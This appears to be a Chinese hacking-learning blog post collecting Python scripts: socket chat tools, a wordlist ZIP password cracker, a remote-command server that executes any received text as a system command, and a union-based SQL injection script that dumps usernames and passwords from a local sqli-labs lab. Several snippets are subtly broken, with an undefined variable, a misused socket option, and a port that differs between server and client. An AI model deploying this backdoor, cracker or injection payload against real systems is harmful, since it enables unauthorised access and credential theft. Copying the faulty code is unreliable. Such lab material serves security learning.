0x00前言
这里我将存放以前、现在、包括未来开发的大大小小的脚本,也会集合整理出其中的问题以及补充上自己开发过程中的心得与见解,当然,如果有疏漏之处,还望多多指正
Python其中遇到的编码问题
Python3的字符串的编码语言用的是unicode
编码,由于Python的字符串类型是str,在内存中以Unicode
表示,一个字符对应若干字节,如果要在网络上传输,或保存在磁盘上就需要把str
变成以字节为单位的bytes
python对bytes
类型的数据用带b
前缀的单引号或双引号表示:'ABC'
b'ABC'
要注意区分'ABC'
和b'ABC'
,前者是str
,后者虽然内容显得和前者一样,但bytes
的每个字符都只占用一个字节
decode
的作用是将二进制数据解码成unicode
编码,如str1.decode('utf-8')
,表示将utf-8
的编码字符串解码成unicode
编码。
简单的来说:decode
就是把二进制数据(bytes)转化成人看的懂得英文或者汉字(decode用的比较多)encode
的作用是将unicode
编码的字符串编码成二进制数据,如str2.encode('utf-8')
,表示将unicode
编码的字符串编码成utf-8
。
0x01基于Socket实现聊天器
Socket略介
python实现聊天通讯的原理以及核心就是套接字,也就是Socket
在任何类型的通信开始之前,网络应用程序都必须创建套接字。套接字
最初是为同一主机上的应用程序所创建,使得主机上运行的一个程序(又名一个进程)与另一个运行的程序进行通信。
这就是所谓的进程间通信(Inter Process Communication,IPC)
有两种类型的套接字:基于文件的和面向网络的。
- 基于文件的,家族名:
AF_UNIX
(又名AF_LOCAL,在POSIX1.g标准中指定),它代表地址家族(addressfamily):UNIX。其他比较旧的系统可能会将地址家族表示成域(domain)或协议家族(protocolfamily),并使用其缩写PF而非AF。
类似地,AF_LOCAL(在2000~2001年标准化)将代替AF_UNIX
- 面向网络的,家族名:
AF_INET
或者地址家族:因特网。另一个地址家族AF_INET6用于第6版因特网协议(IPv6)寻址。此外,还有其他的地址家族,这些要么是专业的、过时的、很少使用的,要么是仍未实现的。在所有的地址家族之中,目前AF_INET是使用得最广泛的
总的来说,Python只支持AF_INET
、AF_UNIX
、AF_NETLINK
和AF_TIPC
家族
所以在Python中,我们使用套接字,首先 需要导入 socket
库from socket import *
然后创建套接字socket(AF_INET, SOCK_DGRAM,SOCK_STREAM)
基于TCP的服务端
from socket import *
"""
tcp服务器
"""
def ftp_B():
#创建套接字
tcp=socket(AF_INET,SOCK_STREAM)
#绑定端口和IP
tcp.bind(("127.0.0.1",8080))
#允许最大连接数
tcp.listen(2)
"""
:接收连接请求,并创建按新的而套接字
:clinet:新的套接字
:client_adder:保存的对方的ip和端口
"""
client,client_adder=tcp.accept()
"""当上面client,client_adder=tcp.accept()后说明后面的套接字会保存在client中
下面就要使用client.recv(1024)
"""
"""
返回的是b'helllo' 这样的 做一个解码
"""
print(banner.decode('utf-8'),'来自',client_adder)
"""
关闭套接字
"""
tcp.close()
client.close()
if __name__ == '__main__':
ftp_B()
如果想要一直接收客户端发送的数据就可以用while
循环,一直接收
基于TCP的客户端
from socket import *
"""
tcp客户端
"""
def tcp_S():
#创建套接字
tcp_s=socket(AF_INET,SOCK_STREAM)
#shu'r
ip='127.0.0.1'
port=8080
str="helllo"
tcp_s.connect((ip,port))
tcp_s.sendto(str.encode('utf-8'),(ip,port))
if __name__ == '__main__':
tcp_S()
如果想要一直给服务端发送的数据就可以用while循环,一直发送
简易局域网聊天器
from socket import *
def sentto_msg(udp_socket):
"""发送数据"""
try:
ip = (input("请输入接收方的IP:"))
port =int(input("请输入对方的port:"))
msg =input("你想告诉对方什么:")
except:
print("[-]输入数据类型错误")
udp_socket.sendto(msg.encode("UTF-8"),(ip,port))
def remov_msg(s_msg):
banner1 = s_msg[0]
banner2 = s_msg[1]
print("来自:{}:{}\n[-]{}".format(banner2[0], banner2[1], banner1.decode("UTF-8")))
print("-"*50)
def main():
print("-------局域网聊天器-------")
print("作者:Ustinain")
print()
udp_socket = socket(AF_INET, SOCK_DGRAM)
# 绑定端口
udp_socket.bind(("",8080))
while True:
print("[1] 发送消息")
print("[2] 接受消息 (本地默认接收端口:8080)")
print("[0] 退出程序")
kkk =input("输入你的选择:")
if kkk=="1":
# 发送数据
sentto_msg(udp_socket)
elif kkk=="2":
# 接受并打印数据
s_msg = udp_socket.recvfrom(1024)
remov_msg(s_msg)
elif kkk=="0":
udp_socket.close()
break
else:
print("没有这个选项,重新输入...\n\n")
if __name__ == '__main__':
main()
input()
0x03-基于crpty实现口令破解
pip3 install pycryptodome
2快速方式:pip3 install -i https://pypi.douban.com/simple pycryptodome
3 PyCrypto 已死,请替换为 PyCryptodome
4
5需要在python目录里面把Python36\Lib\site-packages下的crypto文件改名,没错,就是直接改成Crypto。结果就能用了…
#首先导入zipfile库
import zipfile
"""ZipFile('文件名')"""
zfile=zipfile.ZipFile('file.zip')
"""
extractall(path,members,pwd)
它可以接收三个参数:
path是解压的路径(默认为解压文件所在路径),members是需要解压出来的文件(默认为全部文件),pwd是密码
"""
zfile.extractall(pwd='file'.encode('ascii'))
#这里报错了,需要byte所以转的ascii码
然后zip压缩包,必须勾选原始加密才有效,现在要优化一下,做一个从文件里读取密码,批量爆破
import zipfile
file=zipfile.ZipFile('file.zip')
pwdtxt=open('pwd.txt')
for line in pwdtxt.readlines():
pwd=line.strip('\n')
try:
file.extractall(pwd=pwd.encode('ascii'))
print("[+] PassWord = %s" %(pwd))
exit(0)
except Exception as boom:
print(boom)
0x03-远控
DLL进程注入
参考视频:https://www.youtube.com/watch?v=sYnYZDIy1h4
dll就是动态链接库,是windows独有的,实现进程与进程之间的通信
因为每个进程之间的内存空间是独立的,而且所需要的依赖,也就是dll文件,通常是写好了 的功能或者接口提供给用户使用,不能在进程允许之前全部添加进去,哪样会占用空间,也不能每个进程需要一个dll的时候,就单独复制一份,所以出现了动态链接库,就像是一个公共的池子,所有人都可以使用,互不干扰
python的pip install xxx
也是一个套接字 从别的地方下载资源到本地,供pythoni调用,这也是一个动态的,所以 你单独下载的python第三方库编写的脚本,直接丢给别人是不可以运行的。
记得关于dll进程注入 我之前C语言有写过,用的调用WinApi
,大致原理就是获取A
进程句柄,在A
进程的独立内存里申请一块空间,然后将自己的dll
注入进去,然后用A
进程执行
HOOK__:
这里大致用到钩子(HOOK)
,Windows是一个事件系统,所有的处理包括,进程之间的处理都是一个个事件,比如 我启动一个程序 是事件;键盘输入 打印到屏幕是事件等等..
做一个比喻,键盘输入东西,然键盘录入的数据会传到一个窗口上,窗口是一个抽象的东西,可以是pycharam的显示框,可以是cmd
命令行,也可以是一个文件,之间传的数据比作小鱼,而hook
就是钩子,用来钩取这些数据,而钩子也是进程B
强行加入进程A
的
其实远控,就是基于socket套接字,把传输的文本当作系统命令来执行,并返回结果给客户端,我觉得这个脚本的难点是 编码的问题
"""
在前面写的tcp服务端和客户端之间的通信基础上优化一下,来实现远控
---服务端---
"""
import socket
import os
def main():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建套接字对象s
s.getsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)#关闭后不需要保存状态可以直接连接
s.bind(('',8080)) #监听本地8080端口
s.listen(1) #可连接数为1
print("[+]正在监听本地3399端口....")
client, client_addr = s.accept() #当与别人建立连接client_addr变量存放对方IP conn连接的对象
while True: #让其一直接收数据
banner=client.recv(10240) #接收客户端的数据返回给banner变量
#print(banner)
if banner==b'bye': #如果客户端输入的是bye
client.send(b'bye') #然后就返回bye
break
banner=str(banner,encoding='utf-8') #将返回的数据转utf-8,再转str()
print("@root:%s" % (banner)) #回显返回的命令
f=os.popen(banner) #调用os模块的系统函数
data=f.read().encode('utf-8').decode('utf-8') #然后读入先编码再解码
e=os.system(banner) #和上面os.popen()函数差不多,但是这个函数有返回值,popen没有返回值但是会返回命令结果
if e!=0: #如果返回不是0就说明调用cmd失败了,就打印错误信息给客户端
client.send(bytes('[-] \’%s\’不是批处理文件或者命令'%(banner),'utf-8'))
if data==' ': #如果客户端输入的空字符串就返回out
client.send(b'out')
else: #否则就返回命令的执行结果,字符串转成bytes
client.send(bytes(data,'utf-8'))
s.close() #关闭套接字
client.close() #关闭套接字
if __name__ == '__main__':
main() #入口函数
tips:
关于os.popen()
和os.system()
函数 ,使用上还有有一些小问题,就是os.popen()
会返回命令执行的结果,os.system()
是函数本身有返回值,我只能将执行结果返回给客户端,然后用os.system()
的返回值来做判断,判断命令是否可以执行,因为报错获取不到,如果不判断得话,就不能知道何时向客户端发送一个失败的提示,这样客户端就会堵塞,但是这样得话,如果客户端的指令是不可执行的,在服务端就会有os.popen()
和os.system()
俩个的命令的自带报错。
"""
在前面写的tcp服务端和客户端之间的通信基础上优化一下,来实现远控
---客户端---
"""
import socket
def main():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建套接字
ip=input("输入要连接的主机IP地址:") #输入要连接的主机IP
port=3399 #设置端口
s.connect((ip,port)) #连接对方IP和端口
print("[+]正在连接目标主机3399端口")
while True: #循环发送数据和接收
str=input("@root:") #输入的命令,服务端作为命令来执行
s.send(str.encode('utf-8')) #将发送的数据编码utf-8
banner=s.recv(10240) #接收服务端返回的数据
print(banner.decode('utf-8')) #将服务端的数据utf-8解码
if banner==b'bye': #如果服务端返回bye 就退出循环
break
s.close() #关闭套接字
if __name__ == '__main__':
main() #入口函数
0x04-基于sqli-labs靶场的半自动化注入脚本
本来打算做一个”延时注入”,”联合注入”,”布尔注入”,”报错注入”于一体的自动化脚本,后面觉得写一起太臃肿就打消了这个计划,还是把功能分开来写了
基于GET方式的联合注入脚本
因为是针对于sqli-labs
所开发,所以清楚其回显结果,且开发脚本为了省事,取消了判断闭合,需要手动闭合,然后将url
填入
'''
1.手动判断注入点后,测试出闭合方式
2.将闭合后的语句丢到脚本,进行批量化测试
3.将执行结果使用正则提取出来,并输出
'''
import requests #用于请求rul
import re #用于正则匹配返回结果
#联合注入函数
def union_injection():
# 设置需要测试的payload
# payload_1为通用爆破语句
payload_1 = {
''
'databases': 'database()',
'tables': 'group_concat(table_name) from information_schema.tables where table_schema="security"',
'columns': 'group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users"',
'value': 'group_concat(username,"|",password) from users',
}
# 注释
off = ['--+', '#', '%23']
#构造特有的payload
def payload():
for dict in payload_1:
payload = " union select "+'1,'*2+"{}{}".format(payload_1[dict],off[0])
URL = url+payload
#请求构造好的url,并打印
request = requests.get(url=URL,headers=headers)
print("[#]"+url+' '+payload)
#对页面的返回结果进行正则提取
result = re.findall('Your.+?<',request.text)
print("[+]"+result[0]+'\n'+"[+]"+result[1])
#如果提取到值
print('----------------------------------------------------------------------------------')
payload()
if __name__ == '__main__':
#定义请求数据包的头部信息
url = 'http://127.0.0.1/sqli-labs/Less-2/?id=-1'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0'
}
union_injection()
运行结果如下:
有点小瑕疵,正则刚开始学,没那么数量,其他的问题还不大